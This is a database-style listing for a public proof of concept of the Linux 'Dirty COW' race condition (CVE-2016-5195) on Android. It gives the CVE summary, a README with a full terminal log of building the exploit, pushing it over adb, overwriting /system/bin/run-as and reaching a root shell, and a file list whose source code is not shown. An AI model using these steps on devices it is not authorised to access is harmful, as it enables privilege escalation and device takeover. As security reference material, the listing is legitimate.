CVE-2016-5195 PoC — Linux kernel 竞争条件问题漏洞

Source

https://github.com/timwr/CVE-2016-5195

Associated Vulnerability

Title:Linux kernel 竞争条件问题漏洞 (CVE-2016-5195)
Description:Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."

Description

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android

Readme

# CVE-2016-5195
CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android

This repository demonstrates the vulnerability on vulnerable Android devices attached via ADB. 
It does not disable SELinux (see https://github.com/timwr/CVE-2016-5195/issues/9) or install superuser on the device.

```

$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory '/home/user/dev/git/exploits/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
[x86_64] Install        : dirtycow => libs/x86_64/dirtycow
[x86_64] Install        : run-as => libs/x86_64/run-as
[mips64] Install        : dirtycow => libs/mips64/dirtycow
[mips64] Install        : run-as => libs/mips64/run-as
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
[armeabi] Install        : run-as => libs/armeabi/run-as
[x86] Install        : dirtycow => libs/x86/dirtycow
[x86] Install        : run-as => libs/x86/run-as
[mips] Install        : dirtycow => libs/mips/dirtycow
[mips] Install        : run-as => libs/mips/run-as
make[1]: Leaving directory '/home/user/dev/git/exploits/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
[100%] /data/local/tmp/dcow
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
[100%] /data/local/tmp/run-as
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (5544) and destination file size (17944) differ

[*] size 5544
[*] mmap 0xb536b000
[*] currently 0xb536b000=464c457f
[*] madvise = 0xb536b000 5544
[*] madvise = 0 0
[*] /proc/self/mem 5544 1
[*] exploited 0xb536b000=464c457f
adb shell /system/bin/run-as
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
/system/bin/sh: can't find tty fd: No such device or address
/system/bin/sh: warning: won't have full job control
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ # 

```

File Snapshot


 [4.0K]  /data/pocs/db6564453afa7d328b197cf802de7868d7bb5ae7
├── [ 360]  Android.mk
├── [ 735]  dcow.c
├── [7.8K]  dirtycow.c
├── [1001]  Makefile
├── [2.3K]  README.md
├── [1.7K]  run-as.c
└── [ 367]  test.sh

0 directories, 7 files

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